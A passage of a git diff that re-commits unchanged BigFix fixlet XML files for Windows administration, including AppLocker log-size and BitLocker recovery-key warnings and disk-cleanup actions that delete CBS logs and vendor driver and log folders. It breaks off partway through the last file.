-    <Relevance><![CDATA[((if (not exists value "MaxSize" of it) then (true) else (value "MaxSize" of it as integer < 20971520)) of key "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Applocker/EXE and DLL" of native registry) or ((if (not exists value "MaxSize" of it) then (true) else (value "MaxSize" of it as integer < 20971520)) of key "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Applocker/MSI and Script" of native registry) or ((if (not exists value "MaxSize" of it) then (true) else (value "MaxSize" of it as integer < 20971520)) of key "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Applocker/Packaged app-Deployment" of native registry) or ((if (not exists value "MaxSize" of it) then (true) else (value "MaxSize" of it as integer < 20971520)) of key "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Applocker/Packaged app-Execution" of native registry)]]></Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-19</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Applocker maximum event log size may be too small
+  ID       : 20583
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-10T07:26:25
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Applocker maximum event log size may be too small</Title>
+    <Description><![CDATA[<P>The Applocker logs on the system are at their default values or set to a value less than 20 Megabytes</P>
+<P>Consider increasing the applocker log sizes to store more log data regarding Applocker</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry</Relevance>
+    <Relevance><![CDATA[((if (not exists value "MaxSize" of it) then (true) else (value "MaxSize" of it as integer < 20971520)) of key "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Applocker/EXE and DLL" of native registry) or ((if (not exists value "MaxSize" of it) then (true) else (value "MaxSize" of it as integer < 20971520)) of key "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Applocker/MSI and Script" of native registry) or ((if (not exists value "MaxSize" of it) then (true) else (value "MaxSize" of it as integer < 20971520)) of key "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Applocker/Packaged app-Deployment" of native registry) or ((if (not exists value "MaxSize" of it) then (true) else (value "MaxSize" of it as integer < 20971520)) of key "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Applocker/Packaged app-Execution" of native registry)]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-19</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Bitlocker Recovery Keys stored on Unencrypted Drive - Windows (20584).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Bitlocker Recovery Keys stored on Unencrypted Drive - Windows (20584).bes
index 3e01057ac..8b2fe986f 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Bitlocker Recovery Keys stored on Unencrypted Drive - Windows (20584).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Bitlocker Recovery Keys stored on Unencrypted Drive - Windows (20584).bes	
@@ -1,31 +1,31 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Bitlocker Recovery Keys stored on Unencrypted Drive - Windows
-  ID       : 20584
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-10T07:26:39
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Bitlocker Recovery Keys stored on Unencrypted Drive - Windows</Title>
-    <Description><![CDATA[<P>This fixlet is relevant on machines where BigFix is storing current or previous BitLocker Recovery keys on an unencrypted drive.</P>
-<P>This occurs can occur if the BigFix Client is stored on a drive other than the system drive but only the system drive is encrypted.</P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[/* True if the drive the BES Client is on is NOT encrypted */not (boolean value of selects ("ProtectionStatus from win32_EncryptableVolume where DriveLetter='" & name of drive of data folder of client & "'")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption")]]></Relevance>
-    <Relevance>exists (files whose (Name of it contains &quot;RecoveryPwd&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client)</Relevance>
-    <Category>Disk Encryption</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-30</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Bitlocker Recovery Keys stored on Unencrypted Drive - Windows
+  ID       : 20584
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-10T07:26:39
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Bitlocker Recovery Keys stored on Unencrypted Drive - Windows</Title>
+    <Description><![CDATA[<P>This fixlet is relevant on machines where BigFix is storing current or previous BitLocker Recovery keys on an unencrypted drive.</P>
+<P>This occurs can occur if the BigFix Client is stored on a drive other than the system drive but only the system drive is encrypted.</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[/* True if the drive the BES Client is on is NOT encrypted */not (boolean value of selects ("ProtectionStatus from win32_EncryptableVolume where DriveLetter='" & name of drive of data folder of client & "'")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption")]]></Relevance>
+    <Relevance>exists (files whose (Name of it contains &quot;RecoveryPwd&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client)</Relevance>
+    <Category>Disk Encryption</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-30</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - CBS Log files are too large to compress - Windows (23431).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - CBS Log files are too large to compress - Windows (23431).bes
index 5b8af3e51..35a7bed50 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - CBS Log files are too large to compress - Windows (23431).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - CBS Log files are too large to compress - Windows (23431).bes	
@@ -1,56 +1,56 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - CBS Log files are too large to compress - Windows
-  ID       : 23431
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-02-09T07:28:21
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - CBS Log files are too large to compress - Windows</Title>
-    <Description><![CDATA[<P>This fixlet corrects an issue with the Windows Component-Based Servicing system.</P>
-<P>The issue originates from the cbs.log file becoming too large to compress into an archive cab causing the files to fill up the Windows Temp directory.</P>
-<P>This fixlet will remove CBS Log files and any cab files from the Windows Temp Directory.</P>
-<P>Kudos and Compliments to Jason Walker for his work on the&nbsp;original fixlet here: <A href="https://bigfix.me/fixlet/details/11930">https://bigfix.me/fixlet/details/11930</A></P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
-    <Relevance><![CDATA[version of operating system >= version "6"]]></Relevance>
-    <Relevance><![CDATA[exists files whose (name of it as lowercase starts with "cbspersist" and name of it as lowercase ends with ".log" and size of it / 1024 / 1024 > 1000) of folders "Logs\CBS" of windows folder]]></Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-02-09</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection false
-
-delete __appendfile
-
-appendfile net stop TrustedInstaller
-appendfile {concatenation "%0d%0a" of ("del /q %22" & it & "%22") of pathnames of files whose (name of it as lowercase starts with "cbspersist" and name of it as lowercase ends with ".log" and size of it / 1024 / 1024 > 1000) of folders "Logs\CBS" of windows folder}
-appendfile {concatenation "%0d%0a" of ("del /q %22" & it & "%22") of pathnames of files whose (name of it as lowercase starts with "cab_" ) of folders "TEMP" of windows folder}
-appendfile net start TrustedInstaller
-
-delete DeleteLog.cmd
-
-move __appendfile DeleteLog.cmd
-
-waithidden cmd /c DeleteLog.cmd > {pathname of windows folder}\TEMP\cbscleanup.txt 2>&1
-
-pause while {exists files whose (name of it as lowercase starts with "cbspersist" and name of it as lowercase ends with ".log" and size of it / 1024 / 1024 > 2100) of folders "Logs\CBS" of windows folder AND  (now - active start time of action) < (2 * minute)}
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - CBS Log files are too large to compress - Windows
+  ID       : 23431
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-09T07:28:21
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - CBS Log files are too large to compress - Windows</Title>
+    <Description><![CDATA[<P>This fixlet corrects an issue with the Windows Component-Based Servicing system.</P>
+<P>The issue originates from the cbs.log file becoming too large to compress into an archive cab causing the files to fill up the Windows Temp directory.</P>
+<P>This fixlet will remove CBS Log files and any cab files from the Windows Temp Directory.</P>
+<P>Kudos and Compliments to Jason Walker for his work on the&nbsp;original fixlet here: <A href="https://bigfix.me/fixlet/details/11930">https://bigfix.me/fixlet/details/11930</A></P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Relevance><![CDATA[version of operating system >= version "6"]]></Relevance>
+    <Relevance><![CDATA[exists files whose (name of it as lowercase starts with "cbspersist" and name of it as lowercase ends with ".log" and size of it / 1024 / 1024 > 1000) of folders "Logs\CBS" of windows folder]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-02-09</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection false
+
+delete __appendfile
+
+appendfile net stop TrustedInstaller
+appendfile {concatenation "%0d%0a" of ("del /q %22" & it & "%22") of pathnames of files whose (name of it as lowercase starts with "cbspersist" and name of it as lowercase ends with ".log" and size of it / 1024 / 1024 > 1000) of folders "Logs\CBS" of windows folder}
+appendfile {concatenation "%0d%0a" of ("del /q %22" & it & "%22") of pathnames of files whose (name of it as lowercase starts with "cab_" ) of folders "TEMP" of windows folder}
+appendfile net start TrustedInstaller
+
+delete DeleteLog.cmd
+
+move __appendfile DeleteLog.cmd
+
+waithidden cmd /c DeleteLog.cmd > {pathname of windows folder}\TEMP\cbscleanup.txt 2>&1
+
+pause while {exists files whose (name of it as lowercase starts with "cbspersist" and name of it as lowercase ends with ".log" and size of it / 1024 / 1024 > 2100) of folders "Logs\CBS" of windows folder AND  (now - active start time of action) < (2 * minute)}
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Control+Alt+Delete Injection may not be allowed (23558).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Control+Alt+Delete Injection may not be allowed (23558).bes
index 939c1f778..2fcd8981c 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Control+Alt+Delete Injection may not be allowed (23558).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Control+Alt+Delete Injection may not be allowed (23558).bes	
@@ -1,31 +1,31 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Control+Alt+Delete Injection may not be allowed
-  ID       : 23558
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-02-24T14:02:14
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Control+Alt+Delete Injection may not be allowed</Title>
-    <Description><![CDATA[<P>Control Alt Delete is a Secure Attention Sequence that brings the user to&nbsp;a secure desktop.</P>
-<P>By design, neither a remote user, nor an application or service can inject the Secure Attention Sequence. This prevents malicious applications from answering questions on the secure desktop or proceeding through winlogon. This potentially impacts remote assistance and other remote help software because it will prevent a remote user from answering a UAC prompt for elevation instead requiring the user to accept on behalf of the remote user.</P>
-<P>If this fixlet is relevant than Control+Alt+Delete injection is not corrently allowed for remote assistance software. You should enable this via Group Policy under: "Computer Configuration -&gt; Administrative Templates -&gt; Windows Components -&gt; Windows Logon Options" the setting is called, "Disable or enable software Secure Attention Sequence Policy" and should be set to enabled with the dropdown set to "Services"</P>
-<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[version of operating system >= "6.0"]]></Relevance>
-    <Relevance>NOT in proxy agent context</Relevance>
-    <Relevance>(if (it = 0 or it = 2) then (true) else (false)) of ((value &quot;SoftwareSASGeneration&quot; of key &quot;HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System&quot; of native registry as string as integer) | 0)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-18</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Control+Alt+Delete Injection may not be allowed
+  ID       : 23558
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-24T14:02:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Control+Alt+Delete Injection may not be allowed</Title>
+    <Description><![CDATA[<P>Control Alt Delete is a Secure Attention Sequence that brings the user to&nbsp;a secure desktop.</P>
+<P>By design, neither a remote user, nor an application or service can inject the Secure Attention Sequence. This prevents malicious applications from answering questions on the secure desktop or proceeding through winlogon. This potentially impacts remote assistance and other remote help software because it will prevent a remote user from answering a UAC prompt for elevation instead requiring the user to accept on behalf of the remote user.</P>
+<P>If this fixlet is relevant than Control+Alt+Delete injection is not corrently allowed for remote assistance software. You should enable this via Group Policy under: "Computer Configuration -&gt; Administrative Templates -&gt; Windows Components -&gt; Windows Logon Options" the setting is called, "Disable or enable software Secure Attention Sequence Policy" and should be set to enabled with the dropdown set to "Services"</P>
+<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "6.0"]]></Relevance>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Relevance>(if (it = 0 or it = 2) then (true) else (false)) of ((value &quot;SoftwareSASGeneration&quot; of key &quot;HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System&quot; of native registry as string as integer) | 0)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-18</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in Dell_Drivers folder of System Drive - Windows (21631).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in Dell_Drivers folder of System Drive - Windows (21631).bes
index 0aca870be..298d5b22f 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in Dell_Drivers folder of System Drive - Windows (21631).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in Dell_Drivers folder of System Drive - Windows (21631).bes	
@@ -1,47 +1,47 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Files exist in Dell\Drivers folder of System Drive - Windows
-  ID       : 21631
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-09-14T21:23:13
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Files exist in Dell\Drivers folder of System Drive - Windows</Title>
-    <Description><![CDATA[<P>This fixlet will delete any files in the folder System Drive:\Dell\Drivers</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists folder &quot;Drivers&quot; of folder &quot;Dell&quot; of drive of system folder</Relevance>
-    <Category>Disk Cleanup</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-08-25</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">delete __createfile
-delete run.bat
-
-createfile until _end_
-
-rmdir /s /q &quot;{pathname of folder &quot;Drivers&quot; of folder &quot;Dell&quot; of drive of system folder}&quot;
-
-_end_
-
-move __createfile run.bat
-
-waithidden run.bat</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Files exist in Dell\Drivers folder of System Drive - Windows
+  ID       : 21631
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-14T21:23:13
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Files exist in Dell\Drivers folder of System Drive - Windows</Title>
+    <Description><![CDATA[<P>This fixlet will delete any files in the folder System Drive:\Dell\Drivers</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists folder &quot;Drivers&quot; of folder &quot;Dell&quot; of drive of system folder</Relevance>
+    <Category>Disk Cleanup</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-08-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">delete __createfile
+delete run.bat
+
+createfile until _end_
+
+rmdir /s /q &quot;{pathname of folder &quot;Drivers&quot; of folder &quot;Dell&quot; of drive of system folder}&quot;
+
+_end_
+
+move __createfile run.bat
+
+waithidden run.bat</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in Drivers folder of System Drive - Windows (21632).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in Drivers folder of System Drive - Windows (21632).bes
index 3b3ac80ef..9e2fb2130 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in Drivers folder of System Drive - Windows (21632).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in Drivers folder of System Drive - Windows (21632).bes	
@@ -1,48 +1,48 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Files exist in Drivers folder of System Drive - Windows
-  ID       : 21632
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-09-14T21:23:18
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Files exist in Drivers folder of System Drive - Windows</Title>
-    <Description><![CDATA[<P>This will delete any files in the SystemDrive:\Drivers folder.</P>
-<P>SystemDrive:\Drivers is typically used by vendor driver installers and various programs. If there is ever a file that is not safe to delete shame on whomever put it here.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists folder &quot;Drivers&quot; of drive of system folder</Relevance>
-    <Category>Disk Cleanup</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-08-25</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">delete __createfile
-delete run.bat
-
-createfile until _end_
-
-rmdir /s /q &quot;{pathname of folder &quot;drivers&quot; of drive of system folder}&quot;
-
-_end_
-
-move __createfile run.bat
-
-waithidden run.bat</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Files exist in Drivers folder of System Drive - Windows
+  ID       : 21632
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-14T21:23:18
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Files exist in Drivers folder of System Drive - Windows</Title>
+    <Description><![CDATA[<P>This will delete any files in the SystemDrive:\Drivers folder.</P>
+<P>SystemDrive:\Drivers is typically used by vendor driver installers and various programs. If there is ever a file that is not safe to delete shame on whomever put it here.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists folder &quot;Drivers&quot; of drive of system folder</Relevance>
+    <Category>Disk Cleanup</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-08-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">delete __createfile
+delete run.bat
+
+createfile until _end_
+
+rmdir /s /q &quot;{pathname of folder &quot;drivers&quot; of drive of system folder}&quot;
+
+_end_
+
+move __createfile run.bat
+
+waithidden run.bat</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in Logs folder of System Drive - Windows (21633).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in Logs folder of System Drive - Windows (21633).bes
index 4a4e7636c..f4cc1cadc 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in Logs folder of System Drive - Windows (21633).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in Logs folder of System Drive - Windows (21633).bes	
@@ -1,48 +1,48 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Files exist in Logs folder of System Drive - Windows
-  ID       : 21633
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-09-14T21:23:23
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Files exist in Logs folder of System Drive - Windows</Title>
-    <Description><![CDATA[<P>This will delete any files in the SystemDrive:\Logs folder.</P>
-<P>SystemDrive:\Logs is typically used by Intel installers and various programs. If there is ever a log that is not safe to delete shame on whomever put it here.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists folder &quot;logs&quot; of drive of system folder</Relevance>
-    <Category>Disk Cleanup</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-08-25</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">delete __createfile
-delete run.bat
-
-createfile until _end_
-
